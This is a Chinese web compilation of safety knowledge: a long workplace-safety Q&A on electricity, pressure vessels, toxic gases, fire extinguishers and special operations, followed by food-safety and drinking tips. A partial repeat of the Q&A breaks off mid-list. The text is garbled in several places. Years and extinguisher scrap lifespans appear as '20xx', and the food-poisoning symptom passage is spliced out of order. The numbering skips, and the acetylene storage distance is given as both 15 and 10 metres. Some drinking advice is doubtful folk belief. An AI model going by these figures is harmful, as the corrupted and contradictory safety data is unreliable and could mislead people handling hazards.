以下是小编收集整理的安全生产知识简答题都有什么？，本文共7篇，欢迎阅读与借鉴。本文原稿由网友“CrazyJoey”提供。
篇1：安全生产知识简答题都有什么？
1.什么是安全?
答：安全是指没有受到威胁、没有危险、危害、损失。人类的整体与生存环境资源的和谐相处，互相不伤害，不存在危险、危害的隐患,是免除了不可接受的损害风险的状态。安全是在人类生产过程中，将系统的运行状态对人类的生命、财产、环境可能产生的损害控制在人类能接受水平以下的状态。
2.什么叫事故?
答：事故是指人们在有目的地进行生产劳动中突然发生意外事件，迫使生产暂时停止或人员受到伤害。事故是生产实践异常的突变。
3.什么是劳动保护?
答：劳动保护是指根据国家法律、法规，依靠技术进步和科学管理，采取组织措施和技术措施，消除危及人身安全健康的不良条件和行为，防止事故和职业病，保护劳动者在劳动过程中的安全与健康，其内容包括：劳动安全、劳动卫生、女工保护、未成年工保护、工作时间与休假制度。
4.什么叫把三违?违章指挥、违章操作、违反劳动纪律。
5.什么叫四不伤害原则?答：不伤害自己、不伤害别人、不被他人伤害、保护他人不受伤害。
6.什么叫四不放过原则?答：对事故原因没有查清不放过，事故责任者没有严肃处理不放过，事故责任者与应受教育者没有受到教育不放过，防范措施没有落实不放过。
7.事故伤害程度分为：轻伤、重伤、死亡。
8.什么叫轻伤?答：轻伤是指造成职工肢体伤残，或某些器官功能性或器质性轻度损伤，表现为劳动能力轻度或暂时丧失的伤害。一般指受伤职工歇工在一个工作日以上，但够不上重伤者。
9.什么叫重伤?答：重伤是指造成职工肢体残缺或规范、听觉等器官受到严重损伤一般能引起人体长期存在功能障碍，或劳动能力有重大损失的伤害，重伤失能损失超过105个工日。
10.什么叫责任事故?答：是指因有关人员的过失而造成的事故。
11.什么叫非责任事故?答：是指由于自然界的因素而造成不可抗拒的事故的事故，或由于当前科学技术条件的限制而发生的难以预料的事故。
12.什么叫破坏事故?答：是指为达到一定目的而蓄意制造的事故。
13.企业职工在劳动过程中因病导致伤亡，能否按工伤事故处理?答：过程中因病导致伤亡，经县级以上医院诊断和劳动部门的调查，确认系职工本人疾病造成的，不按职工伤亡事故处理。
14.我国目前的安全管理体制是什么?
答：企业全面负责、行业管理、国家监察、群众监督,劳动者遵章守纪。
15.发生工伤事故的应急原则是?
答：抢救伤员，保护事故现场，迅速报告有关部门。
16.各类安全生产制度的核心是安全生产责任制。
17.安全检查是发现和消除不安全因素的重要环节。
18.不安全状态是指导致事故发生的物质条件。不安全行为是指能造成事故的人为错误。
19.企业安全生产教育的任务是什么?
是努力提高职工队伍的安全素质，提高广大职工对安全生产重要性的认识，增强安全生产责任感，提高广大职工遵守规章制度和劳动纪律的自觉性，增强对安全生产的法制观念，提高广大职工的安全技术知识水平、熟练掌握安全技术要求处理事故的能力。
20.班组安全教育的内容是什么?
1、了解岗位的任务和作用、生产特点、生产设备、安全装置。
2、了解岗位安全规章制度、安全操作规程。
3、了解岗位个防护用品、用具、工具的具体使用方法。
4、了解岗位发生过的事故和教训。
21.什么叫保护接地、接零?
答：保护接地是为了防止因绝缘损坏而遭受触电的危险，把在故障情况下可能呈现危险的对地电压的金属部分同大地紧密地连接起来，称为保护性接地。接零是将带电部分相绝缘的电气设备的金属部分外壳或构架与中性点直接接地系统中的零线相连接。
22.临时电线的架设要求?
答：1、离地高度，室内不小于2.5米,室外不小于3米,跨越公路不小于5米。2、电线的绝缘必须良好。3、电线不得接触易燃易爆高温潮湿的管道、设备。4、电线留头要用绝缘胶布包扎好或临时配电插座盘。
23.什么叫闪点?什么叫燃点?
答：凡是易燃液体和可燃液体的蒸气，遇到明火能引起闪燃现象，这时的温度值就叫闪点。物质在开始着火时的温度叫燃点。
24.电气线路发生火灾的主要原因是什么?
答：(1)线间短路;(2)保险器安装不合适;(3)过负荷;(4)接点或连接处接触不良电阻过大，导线发热。
25.机械伤人的原因有哪些?
答：1、机械设备不符合安全要求;2、使用过程中防护不周，无防护设施;3、安全操作规定不完善和安全教育不够。
26.施工现场电气发生火情时，应先切断电源，使用砂土，二氧化碳，“1211”或干粉灭火器灭火，不得用水和泡沫灭火器进行。
27.火灾分为A、B、C、D四类1.A类火灾：指固体物质火灾。这种物质往往具有有机物性质，一般在燃烧时能产生灼热的余烬。如木材、棉、毛、麻、纸张火灾等。2.B类火灾：指液体火灾和可熔化的固体火灾。如汽油、煤油、原油、甲醇、乙醇、沥青、石蜡火灾等。3.C类火灾：指气体火灾。如煤气、天然气、甲烷、乙烷、丙烷、氢气火灾等。4.D类火灾：指金属火灾。指钾、钠、镁、钛、锆、锂、铝镁合金火灾等。
28.《中华人民共和国安全生产法》于20xx年6月9日公布，20xx年11月1日施行。20xx年8月31日第十二届全国人民代表大会常务委员会第十次会议通过全国人民代表大会常务委员会关于修改《中华人民共和国安全生产法》的决定，自20xx年12月1日起施行。
29.职业病防治工作坚持预防为主、防治结合，实行分类管理、综合治理。
30.对于工伤事故中停止呼吸和心跳的伤员，在5分钟内抢救成功率极高。
31.建筑物起火的5~7分钟内是灭火的最好时机，超过这个时间，就要设法逃离火灾现场。
32.用人单位强令劳动者违章冒险作业，发生重大伤亡事故，造成严重后果的，对责任人依法追究刑事责任。
33.人体允许通过的安全电流，男性为9毫安，女性为6毫安。电流为50毫安时，将危及人的生命，称为致死电流。
34.全国消防宣传日是11月9日。
35.安全色分类及其含义：红色:禁止标志蓝色:指令标志黄色:警戒标志绿色:提示标志。
36.在遇到高压电线断落地面时，导线断落点20米内，禁止人员进入。
37.三线电缆中的红线代表火线。
38.劳动安全卫生标志”以代表劳动安全卫生的绿十字为中心，周围用变性的齿轮和橄榄枝叶构成一个图案，左侧的齿轮象征劳动、长城和中国，右侧的橄榄叶象征着和平、美满和幸福。
39.如果触电者伤势严重，呼吸停止或心脏停止跳动，应竭力施行人工呼吸和胸外心脏挤压。
40.使用灭火器扑救火灾时要对准火焰根部喷射。
41.凡在坠落高度基准面2米及以上有可能坠落的高处进行的作业叫高处作业。
42.施工现场进行拆除工程时，必须自上而下拆除。
43.乙炔瓶的储藏仓库，应该避免阳光直射，与明火距离不得小于15米。
44.火灾蔓延的途径有热传导、热辐射、热对流。
45.对过失引起火灾，尚未造成严重损失的行为，应给予警告、罚款或者十日以下拘留处罚。
46.安全生产的范围包括人身安全、设备安全。
47.安全生产管理的“四全”原则有全员、全过程、全方位、全天候。
48.安全带使用2年后，应检查一次。
49.在高空作业时，工具必须放在手提工具箱或工具袋里。
50.国家规定一顶安全帽的重量不应超过400克。
51.安全帽上如标有“D“标记，是表示具有绝缘性能的安全帽。
52.安全带的正确挂扣应该是高挂低用。
53.凡有两层(含两层)以上作业人员，同时在同一垂直体内作业，这样容易发生物体打击的作业，称为交叉作业。
54.施工现场“三宝”是安全帽、安全带、安全网。
55.安全电压值：42,36,24,12,6伏。
56.安全电压的供电电源：由特定电源供电，包括独立电源和安全隔离变压器(由安装在同一铁芯上的两个相对独立的线圈构成)。自耦变压器、分压器和半导体装置等不能作为电压的供电电源。
篇2：安全生产知识简答题都有什么？
57.安全电压回路必须具备的条件：
Ⅰ、供电电源输入输出必须实行电路上的隔离;
Ⅱ、工作在安全电压下的电路，必须与其它电气系统无任何电气上的联系(不允许接地，但安全隔离变压器的铁芯应该接地);
Ⅲ、采用24V以上的安全电压时，必须采取防止直接接触带电体的保护措施，不允许有裸露的带电体;
Ⅳ、线路符合下列条件：部件和导线的电压等级至少为250V，安全电压用的插头，就不能插入较高电压的插座。
58.触电现场挽救要点：迅速脱离电源;准确实行救治(人工呼吸和胸外心脏挤压);就地进行抢救;救治要坚持到底。
59.什么叫压力容器的工作压力、最高工作压力、设计压力?它们之间的关系如何?压力容器的工作温度和设计温度分别指的是什么?
答：工作压力(也称操作压力)是指在正常工艺操作时容器顶部的压力。最高工作压力是指在正常工艺操作过程中可能出现的最高压力。压力超过此值时，容器上的安全装置就要动作。最高工作压力的确定与工作介质有关设计压力是指在相应设计温度下用以确定容器的计算壁厚及其元件尺寸的压力。《压力容器安全技术监察规程》中规定，容器的设计压力不得低于最高工作压力。装有安全泄放装置的压力容器，其设计压力不得低于安全泄放装置的开启压力或爆破压力。压力容器的工作温度是指容器内部工作介质在正常操作过程中的温度，即介质温度。设计温度是指容器在正常操作过程中，在相应的设计压力下，壳壁或元件金属可能达到的最高或最低温度。当壳壁或元件金属的温度低于一20℃时，按最低温度确定设计温度，除此以外，设计温度一律按最高温度选取。压力容器的工作温度是指介质温度，而设计温度是指壳体的设计温度。
60.从出厂日期算起，达到如下年限灭火器(瓶)的必须报废：
手提式化学泡沫灭火器—5年;手提式酸碱灭火器—5年;手提式清水灭火器—6年;手提式干粉灭火器(贮气瓶式)—8年;手提贮压式干粉灭火器—20xx年;手提式1211灭火器—20xx年;手提式二氧化碳灭火器—20xx年;推车式化学泡沫灭火器—8年;推车式干粉灭火器(贮气瓶式)—20xx年;推车贮压式干粉灭火器—20xx年;推车式1211灭火器—20xx年;推车式二氧化碳灭火器—20xx年。另外，应报废的灭火器或贮气瓶，必须在筒身或瓶体上打孔，并且用不干胶贴上“报废”的明显标志，内容如下：“报废”二字，字体最小为25mm×25mm;报废年、月;维修单位名称;检验员签章。灭火器应每年至少进行一次维护检查。
61.化工压力容器的分类：压力容器按用途分为反应容器、传热容器、分离容器和储运容器。
62.什么叫压力容器:压力容器，是指盛装气体或者液体，承载一定压力的密闭设备，其范围规定为最高工作压力大于或者等于0.1MPa(表压)。
63.压力容器安全检查的`内容包括：1、保温、防腐、设备铭牌是否完好。2、容器有无裂纹、变形、局部鼓包等现象。3、容器的所有裂纹、受压元件等有无泄漏。4、安全附件是否齐全、灵敏、可靠。5、基础有无下沉、倾斜。坚固的螺丝是否齐全、完好。6、有无震动、摩擦。7、运行中操作压力、温度、组分参数是否符合设计规定。8、运行日志、检修记录是否齐全、正确。
64.化工常见物质的毒性作用：
(Cl2)：黄绿色气体，易溶于水、碱溶液、二硫化碳和四氯化碳等。与一氧化碳作用可生成毒性更大的光气。氯溶于水生成盐酸和次氯酸，产生局部刺激。主要损害上呼吸道和支气管的黏膜，引起支气管痉挛、支气管炎和支气管周围炎，严重时引起肺水肿。吸入高浓度氯后，引起迷走神经反射性心跳停止，呈“电击样”死亡。
65.二氧化硫(SO2)：无色气体，密度为空气的2.3倍。加压可液化，液体相对密度1.434，沸点-10℃。溶于水、乙醇和乙醚。吸入呼吸道后，在黏膜湿润表面上生成亚硫酸和硫酸，产生强烈的刺激作用。大量吸入可引起喉水肿、肺水肿、声带痉挛而窒息。
66.一氧化碳(CO)：无色、无嗅、无刺激性气体。密度为空气的0.968倍，不溶于水，但可溶于氨水、乙醇、苯和醋酸。燃烧时火焰呈蓝色。一氧化碳被吸入后，经肺泡进入血液循环。一氧化碳与血红蛋白生成碳氧血红蛋白。碳氧血红蛋白无携氧能力，又不易解离，造成全身各组织缺氧。
67.氰化氢(HCN)：无色、具有苦杏仁味的气体，密度为空气的0.94倍，熔点-13.4℃，沸点26℃。溶于水、乙醇和乙醚。溶于水生成为易挥发的氢氰酸。氰化氢与体内氧化型细胞色素氧化酶的三价铁离子有很强的亲和力，与之牢固结合后，酶失去活性，阻碍生物氧化过程，使组织细胞不能利用氧，造成内窒息。
68.硫化氢(H2S)：无色、具有臭鸡蛋气味的气体，密度为空气的1.19倍，沸点-61.8℃。溶于水、乙醇、甘油、石油溶剂。
69.灭火的基本方法：
一、冷却灭火法：
将灭火剂直接喷射到燃烧的物体上，以降低燃烧的温度于燃点之下，使燃烧停止;或者将灭火剂喷洒在火源附近的物质上，使其不因火焰热辐射作用而形成新的火点。冷却灭火法是灭火的一种主要方法，常用水和二氧化碳作灭火剂冷却降温灭火。灭火剂在灭火过过程中不参与燃烧过程中的化学反应。这种方法属于物理灭火方法
二、隔离灭火法：
将周围未燃烧的可燃物质移开或与正在燃烧的物质隔离，中断可燃物质的供给，使燃烧因缺少可燃物而停止。具体方法有：
1、将火源附近的可燃、易燃、易爆和助燃物品搬走;
2、关闭可燃气体、液体管道的阀门，减少和阻止可燃物质进入燃烧区;
3、设法阻拦流散的易燃、可燃液体;
4、拆除与火源毗连的易燃建筑物，形成防止火势蔓延的空间地带。
三、窒息灭火法：
阻止空气流入燃烧区或用不燃烧气体等冲淡空气，使燃烧物得不到足够的氧气而熄灭。具体方法是：
1、用沙土、水泥、湿麻袋、湿棉被等不燃或难燃物质覆盖燃烧物;
2、喷洒雾状水、干粉、泡沫等灭火剂覆盖燃烧物;
3、用水蒸气或氮气、二氧化碳等惰性气体灌注发生火灾的容器、设备;
4、密闭起火建筑、设备和孔洞;
5、将不燃气体或不燃液体(如二氧化碳、氮气、四氯化碳等)喷洒到燃烧物区域内或燃烧物上。
70.名词解释
1、违章操作：是指劳动生产过程中违反国家颁发的各种法规性文件和企业、事业单位及其管理机关指定的反映安全生产客观规律的各种规章制度，包括工艺技术、生产操作、劳动保护、安全管理等方面的规程、规则、章程、条例、办法和制度，以及有关安全生产的通知、决定等。
2、安全生产责任制：安全生产责任制是根据安全生产法规建立的各级领导、职能部门、工程技术人员、岗位操作人员在劳动生产过程中对安全生产层层负责的制度。
3、事故隐患：泛指生产系统导致事故发生的人的不安全行为、物的不安全状态和管理上的缺陷。
4.企业职工伤亡事故：是指职工在劳动过程中发生的人身伤害、急性中毒事故。即职工在本岗位劳动，或虽不在本岗位劳动，但由于企业的设备和设施不安全、劳动条件和作业环境不良、管理不善，以及企业领导指派到企业外从事本企业活动，所发生的人身伤害(即轻伤、重伤、死亡)和急性中毒事故。
5、企业职工伤亡事故：是指职工在劳动过程中发生的人身伤害、急性中毒事故。即职工在本岗位劳动，或虽不在本岗位劳动，但由于企业的设备和设施不安全、劳动条件和作业环境不良、管理不善，以及企业领导指派到企业外从事本企业活动，所发生的人身伤害(即轻伤、重伤、死亡)和急性中毒事故。
71.劳动卫生的中心任务是，改善劳动条件，防止职业危害。
72.从宏观讲，根据统计，事故发生的原因中，主要的原因是物的不安全状态和人的不安全行为。
73.安全检查的类型有：日常安全检查、定期安全检查、专业性安全检查、季节性安全检查和节假日后安全检查、不定期安全检查。
74.周恩来同志于l957年提出了“安全第一”的口号。
75.特种作业及人员范围包括：
(1)电作作业。含发电、送电、变电、配电工，电气设备的安装、运行、检修(维修)、试验工，矿山井下电钳工。
(2)金属焊接、切割作业。含焊接工，切割工。
(3)起重机械(含电梯)作业。含起重机械(含电梯)司机，司索工，信号指挥工，安装与维修工。
(4)企业内机动车辆驾驶。含在企业内码头、货场等生产作业区域和施工现场行驶的各类机动车辆的驾驶人员。
(5)登高架设作业。含2米以上登高架设、拆除、维修工，高层建(构)物表面清洗工。
(6)锅炉作业(含水质化验)。含承压锅炉的操作工、锅炉水质化验工。
(7)压力容器作业。含压力容器罐装工、检验工、运输押运工、大型空气压缩机操作工。
(8)制冷作业。含制冷设备安装工、操作工、维修工。
(9)爆破作业。含地面工程爆破、井下爆破工。
(10)矿山通风作业。含主扇风机操作工，瓦斯抽放工，通风安全监测工，测风测尘工。
(11)矿山排水作业。含矿井主排水泵工，尾矿坝作业工。
(12)矿山安全检查作业。含安全检查工，瓦斯检验工，电器设备防爆检查工。
(13)矿山提升运输作业。含提升机操作工，(上、下山)绞车操作工，固定胶带输送机操作工，信号工，拥罐(把钩)工。
(14)采掘(剥)作业。含采煤机司机，掘进机司机，耙岩机司机，凿岩机司机。
(15)矿山救护作业。
(16)危险物品作业。含危险化学口、民用爆炸品、放射性物品的操作工，运输押运工、储存保管员。
(17)经国家安全生产监督管理局批准的其它作业。
76.特种作业人员应年满18岁以上，但从事爆破作业和煤矿井下瓦斯检验的人员，年龄不得低于20周岁。
77.特种作业人员经过专业技术培训考试合格取得操作许可证者，方可上岗。
78.复审年限除机动车辆驾驶和机动船舶驾驶、轮机操作员外，按国家有关规定，其他特种作业操作证每2年复审一次。
79.气瓶的瓶体有肉眼可见的突起(鼓包)缺陷的，应报废处理。乙炔瓶的储藏仓库，应该避免阳光直射，与明火距离不得小于10米。
80.在焊接作业中，为保护操作者的安全，保护片一般累计使用8小时更换一次。
81.气焊是利用气体燃烧的火焰作为热源的焊接方法。
82.电焊工作的地点不应该存放易燃物体。
83.锅炉的三大安全附件分别是安全阀、压力表、水位表。炉水长期处理不当可能导致锅炉爆炸。锅炉检测项目的周期外部检验，每年进行一次。
84.起重机接近终点时，应该及时断电，尽可能不动用行程限位器。
85.使用直流电焊机施焊前，电压不得超过多少110伏。
86.开启气瓶瓶阀时，操作者应该站在侧面。
87.压力表在刻度盘上刻有的红线表示高工作压力。
88.起重机械的信号员的主要责任是在吊运过程中，给操作员适当的指示信号，令吊运工作顺利进行
89.在对锅炉、压力容器维修的过程中，应使用12伏照明。
90.由于人的过失引起火灾，造成严重后果的行为，构成失火罪。
95.烟头中心温度可达700～800℃，它超过了棉、麻、毛织物、纸张、家具等可燃物的燃点，若乱扔烟头容易引起燃烧，甚至造成火灾。
96.机器防护罩的主要作用是防止发生操作事故。
97.手用工具不应放在工作台边缘是因为.工具易与坠落伤人。
98.气体钢瓶使用注意事项：
1、在搬动存放气瓶时，应装上防震垫圈，旋紧安全帽，以保护开关阀，防止其意外转动和减少碰撞。
2、搬运充装有气体的气瓶时，最好用特制的担架或小推车，也可以用手平抬或垂直转动。但绝不允许用手执着开关阀移动。
3、充装有气的气瓶装车运输时，应妥善加以固定，避免途中滚动碰撞;装卸车时应轻抬轻放，禁止采用抛丢、下滑或其它易引起碰击的方法。
4、充装有互相接触后可引起燃烧、爆炸气体的气瓶(如氢气瓶和氧气瓶)，不能同车搬运或同存一处，也不能与其它易燃易爆物品混合存放。
5、气瓶瓶体有缺陷、安全附件不全或已损坏，不能保证安全使用的，切不可再送去充装气体，应送交有关单位检查合格后方可使用。
99：锅炉在高温高压下工作，时刻受到烟、火、水汽等物质的侵蚀和运行状态的影响;压力容器和气瓶有的在高温高压下使用，有的在低温深冷条件下使用，还有的盛装易燃易爆，有毒极毒或腐蚀性介质，这些设备的金属材料因发生腐蚀、磨损、变形、疲劳、脱炭以及金相组织的变化，其附件和附属设备也会随着运行和操作因素的影响，发生故障或造成损坏，如不及时发现处理，就可能发生严重的设备损坏和人身伤亡事故。因此，为了及时掌握锅炉、压力容器、气瓶等设备状况，发现和消除隐患，保证设备安全经济运行，必须定期对设备进行必要的检验和修理。
100.为什么要对锅炉水质进行处理?答：锅炉水质的好坏，对锅炉的安全经济运行关系十分密切。锅炉水质不好，会使受热面上结生水垢，影响传热效果，浪费燃料。严重的还会造成锅筒鼓包，管子堵塞而引起事故。炉水中含有的各种杂质，(包括气体等)，还会引起金属的腐蚀，缩短了锅炉的使用寿命;过多的杂质，还将影响蒸汽的质量，使蒸汽带水而发生汽水共腾。因此，加强对锅炉的水质处理工作，是确保锅炉安全和经济运行的重要环节。
篇3：饮食安全知识都有哪些
关于饮食安全的知识一、什么是食物中毒
食物中毒是指摄入了含有生物性、化学性有毒有害物质的食品或者把有毒有害物质当作食品摄入后出现的非传染性不属于传染病的急性、亚急性疾病。 春季要慎防六种食物中毒：发霉甘蔗、四季豆芸豆、发芽土豆、鲜黄花菜、鲜木耳、野蘑菇。其中四季豆芸豆、发芽土豆中毒在本地较为多见，春季应尽量避免食用，尽量选用当季新鲜食材。
关于饮食安全的知识二、如何安全的制作食品
世界卫生组织WHO推荐食品安全制作五大“黄金守则”：
1 、保持清洁。勤洗手-取食品前洗手、准备和加工食品期间经常洗手、便后洗手;清洗和消毒用于准备食品的所有场所、设备和餐饮具;避免虫、鼠及其其他动物进入厨房和接近食物。
2 、生熟分开。生的肉、禽、蛋和海产品要与其它食物分开;生和熟食品的餐饮具、工具、用具要分开;避免交叉污染。
3、彻底煮熟。食物要烧熟、煮透，中心温度得到85度以上，尤其是肉、禽、蛋和海产品
4、保持食物的安全温度。熟食要保存在冰箱里，也不能够长时间存放;熟食和凉菜做好后在室温下存放不得超过2小时;冷冻食品不要在室温下化冻;;煮熟后放置2小时以上的食品，重新加热到70℃以上再食用。
5 、使用安全的水和原材料。食品用水要安全;选择卫生安全的餐饮具;选择卫生安全的纸巾;生吃的蔬菜和水果要洗干净后再吃，以免造成农药中毒。
关于饮食安全的知识三、其他注意事项
饭前便后要洗手，养成良好的卫生习惯;
白开水是最好的饮料，饮料常含有防腐剂、色素等，不利于少儿健康;
3、购买食物时，注意食品包装有无生产厂家、生产日期，是否过保质期，食品原料、营养成分是否标明，有无QS标识，不能购买三无产品。
关于饮食安全的知识四、食物中毒的症状及处理
食物中毒者最常见的症状是、皮肤弹性消失、肢体冰凉、脉搏细弱、血压降低，甚至可致休克。
食物中毒后的应急措施：食物中毒发生后，千万不要恐慌，剧烈呕吐、腹泻，同时伴有中上腹部疼痛。食物中毒者常会因上吐下泻而出现脱水症状，如口干、眼窝下陷自乱阵脚，可以采取以下应急措施：
饮水：立即饮用大量干净的水，对毒素进行稀释。
催吐：用手指压迫咽喉，尽可能将胃里的食物吐出。
处理：将引起中毒的饮食进行有效处理，避免更多的人受害。
预防食源性疾病的十项建议
1、不买不食腐败变质、污秽不洁及其它含有害物质的食品;
2、不食用来历不明的食品;不购买无厂名厂址和保质期等标识不全的食品;
3、不光顾无证无照的流动摊档和卫生条件不佳的饮食店;不随意购买、食用街头小摊贩出售的劣质食品、饮料。这些劣质食品、饮料往往卫生质量不合格，食用会危害健康。
4、不食用在室温条件下放置超过2小时的熟食和剩余食品;
5、不随便吃野菜、野果。野菜、野果的种类很多，其中有的含有对人体有害的毒素，缺乏经验的人很难辨别清楚，只有不随便吃野菜、野果，才能避免中毒，确保安全。
6、生吃瓜果要洗净。瓜果蔬菜在生长过程中不仅会沾染病菌、病毒、寄生虫卵，还有残留的农药、杀虫剂等，如果不清洗干净，不仅可能染上疾病，还可能造成农药中毒。
7、不饮用不洁净的水或者未煮沸的自来水;水是否干净，仅凭肉眼很难分清，清澈透明的水也可能含有病菌、病毒，喝开水最安全
8、直接食用的瓜果应用洁净的水彻底清洗并尽可能去皮;不吃腐烂变质的食物，食物腐烂变质，就会味道变酸、变苦;散发出异味儿，这是因为细菌大量繁殖引起的，吃了这些食物会造成食物中毒。
9、进食前或便后应将双手洗净;养成吃东西以前洗手的习惯。人的双手每天干这干那，接触各种各样的东西。会沾染病菌、病毒和寄生虫卵。吃东西以前认真用肥皂洗净双手，才能减少“病从口入”的可能。
10、在进食的过程中如发现感官性状异常，应立即停止进食。
篇4：安全饮酒知识都有哪些
目录
安全饮酒知识
喝酒的误区
喝酒的注意事项
安全饮酒知识
一、不饮六种酒
1、不喝多酒。酒喝多了，难受的是自己。酒桌上不可贪杯、不可嗜酒。应少喝几杯，不醉为宜。
2、不喝急酒。酒是烈物，后劲很大，一定要慢慢喝。不可急喝，不要动不动就先干为敬。喝急了，一旦后劲上来了，会很难受。
3、不喝劝酒。喝酒的时候，要知道自己的底量，不要经不住别人的劝，不好意思拂别人的面子，不经意就喝超量了。
4、不喝有所图之酒。中国酒文化盛行，尤其是中年男人之间，聚会吃饭当然要畅饮一番。喝酒要有个名头，而有的人则期望把利益牵进酒里，那些有目的，有所图谋、行贿赂之实的酒则万万不能喝!
5、不喝无名之酒。酒桌上遇到不熟悉的酒友，如果不知对方什么目的，但他却一味灌你酒喝，那你一定要谨慎对待，千万不要来者不拒。身体是自己的，为了那些无谓的客套和交际坏了身体，就太不值得了。
6、不喝大醉之酒。亲朋好友聚会，重在交流感情，然而大型聚会，总免不了大肆灌酒的事态发生，若是敬你你不喝，那就是不给面子。但是，大醉之酒，千万要小心喝。喝酒误事，大醉不仅容易丢脸，也难免会惹出一些麻烦。
二、喝酒三不吃，三不喝
1、不吃镇静药、安眠药或抗过敏药。和酒一起服用，会使中枢神经受到抑制，轻则出现神志恍惚，昏昏欲睡，身体活动不协调;重则使抑制加深，呼吸困难，昏迷，血压下降。
2、不吃熏腊食品。因其含有较多的亚硝胺和色素，与酒精产生反应，不仅伤肝，而且损害口腔、食道与肠胃粘膜，还会诱发癌症。
3、不吃榴莲。榴莲含有硫的化合物，可使乙醛脱氢酶的活性大大降低，从而影响肝脏对酒精的代谢。吃榴莲再喝酒，人就更容易喝醉，甚至引起酒精中毒。
4、不喝碳酸饮料。当酒和碳酸饮料(包括汽水、可乐、雪碧等)在体内掺和后，迅速进入胃肠，会产生大量二氧化碳，刺激胃黏膜，减少胃酸分泌并影响消化酶产生。患有肠胃病的人如果同时喝，有可能造成胃和十二指肠溃疡、出血。
5、不喝咖啡。酒精与咖啡同饮，可加重对身体的伤害，并刺激血管扩张，加快血液循环，增加心血管负担，造成的危害超过单纯喝酒的许多倍。
6、不喝浓茶。从古至今，不少饮酒之人都喜欢酒后喝茶，以为茶能解酒。现代各类宴席之后，人们也有结伴去茶坊饮茶闲聊的习惯。但是，这是一个重大的误区。酒后喝茶对身体极为有害。李时珍曾说：“酒后饮茶，伤肾脏，腰脚重坠，膀胱冷痛，兼患痰饮水肿、消渴孪痛之疾。”
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喝酒的误区
1、喝酒吃肉不吃饭
这是慢性自杀，白酒里没什么营养，只有热量。常这样不吃主食，不仅致消化不良，也易致营养不良。光吃肉不吃主食，一是营养不良，人的营养70%来自主食，其他来自副食。
2、饮酒有助于睡眠
很多人以为喝酒就会使人昏昏欲睡，其实并非如此。少量饮酒可以使人兴奋，大量喝后则转为抑制，呼吸较浅弱，代谢降低，体温下降。
饮酒到一定程度，身体很多部位都会充血，比如咽喉部充血了，睡时就会打呼噜，肌肉松弛了或塌下了，就会使呼吸不顺畅或致呼吸道阻塞，易引发心脑血管疾病或意外死亡。
3、烟酒不分家
单独抽烟，那些煤焦油大都伤害的只是呼吸系统。喝酒的同时抽烟，酒会把烟的有害成分带到身体的各个部位。
4、喝酒御寒
喝酒后第一阶段全身会发热，特别是度数高的白酒，接下来就会发冷。所以喝酒以后还是要注意保暖!但米酒和低度黄酒，含有活性物质，可把发热的时间延长。
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喝酒的注意事项
1、每次喝1小杯15-25毫升，每天不超过50毫升。有生育计划的夫妇，至少半年内应绝对戒酒。
2、在服用各类镇静药物、抗生素、治疗糖尿病药物时，不要饮用白酒，否则可能导致腹泻、头痛、呕吐等后果，甚至导致死亡。
3、在冬天的室内，如果感到寒冷，可以饮用少量白酒来御寒。但要注意的是，如果是在室外有风的地方，喝白酒只会更冷。
4、在饮用白酒之前吃一些米饭、馒头等食物，能够降低酒精对胃肠道、肝脏的伤害，减少酒精性脂肪肝的发生。
5、忌饮用混合酒。白酒、葡萄酒、啤酒等酒精饮品最好不要混合饮用。
6、忌喝冷酒。一般说来，无论是白酒还是黄酒，喝热酒都比喝冷酒好。
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篇5：安全生产知识
百条安全生产知识
1.什么是安全？ 答：安全是指没有受到威胁、没有危险、危害、损失。人类的整体与生存环境资源的和谐相处，互相不伤害，不存在危险、危害的隐患, 是免除了不可接受的损害风险的状态。安全是在人类生产过程中，将系统的运行状态对人类的生命、财产、环境可能产生的损害控制在人类能接受水平以下的状态。 2.什么叫事故？ 答：事故是指人们在有目的地进行生产劳动中突然发生意外事件，迫使生产暂时停止或人员受到伤害。事故是生产实践异常的突变。3.什么是劳动保护?答：劳动保护是指根据国家法律、法规，依靠技术进步和科学管理，采取组织措施和技术措施，消除危及人身安全健康的不良条件和行为，防止事故和职业病，保护劳动者在劳动过程中的安全与健康，其内容包括：劳动安全、劳动卫生、女工保护、未成年工保护、工作时间与休假制度。4.什么叫把三违？答：违章指挥、违章操作、违反劳动纪律。5.什么叫四不伤害原则？答：不伤害自己、不伤害别人、不被他人伤害、保护他人不受伤害。6.什么叫四不放过原则？答：对事故原因没有查清不放过，事故责任者没有严肃处理不放过，事故责任者与应受教育者没有受到教育不放过，防范措施没有落实不放过。7.事故伤害程度分为：轻伤、重伤、死亡。8.什么叫轻伤?答：轻伤是指造成职工肢体伤残，或某些器官功能性或器质性轻度损伤，表现为劳动能力轻度或暂时丧失的伤害。一般指受伤职工歇工在一个工作日以上，但够不上重伤者。9.什么叫重伤?答：重伤是指造成职工肢体残缺或规范、听觉等器官受到严重损伤一般能引起人体长期存在功能障碍，或劳动能力有重大损失的伤害，重伤失能损失超过105个工日。10.什么叫责任事故?答：是指因有关人员的过失而造成的事故。11.什么叫非责任事故？答：是指由于自然界的因素而造成不可抗拒的事故的事故，或由于当前科学技术条件的限制而发生的难以预料的事故。12.什么叫破坏事故?答：是指为达到一定目的而蓄意制造的事故。13.企业职工在劳动过程中因病导致伤亡，能否按工伤事故处理？答：过程中因病导致伤亡，经县级以上医院诊断和劳动部门的调查，确认系职工本人疾病造成的，不按职工伤亡事故处理。14.我国目前的安全管理体制是什么? 答：企业全面负责、行业管理、国家监察、群众监督,劳动者遵章守纪。15.发生工伤事故的应急原则是? 答：抢救伤员，保护事故现场，迅速报告有关部门。16.各类安全生产制度的核心是安全生产责任制。17.安全检查是发现和消除不安全因素的重要环节。18.不安全状态是指导致事故发生的物质条件。不安全行为是指能造成事故的人为错误。19.企业安全生产教育的任务是什么？ 是努力提高职工队伍的安全素质，提高广大职工对安全生产重要性的认识，增强安全生产责任感，提高广大职工遵守规章制度和劳动纪律的自觉性，增强对安全生产的法制观念，提高广大职工的安全技术知识水平、熟练掌握安全技术要求处理事故的能力。20.班组安全教育的内容是什么？ 1、了解岗位的任务和作用、生产特点、生产设备、安全装置。 2、了解岗位安全规章制度、安全操作规程。 3、了解岗位个防护用品、用具、工具的具体使用方法。 4、了解岗位发生过的事故和教训。 21.什么叫保护接地、接零？ 答：保护接地是为了防止因绝缘损坏而遭受触电的危险，把在故障情况下可能呈现危险的对地电压的金属部分同大地紧密地连接起来，称为保护性接地。接零是将带电部分相绝缘的电气设备的金属部分外壳或构架与中性点直接接地系统中的.零线相连接。 22.临时电线的架设要求？ 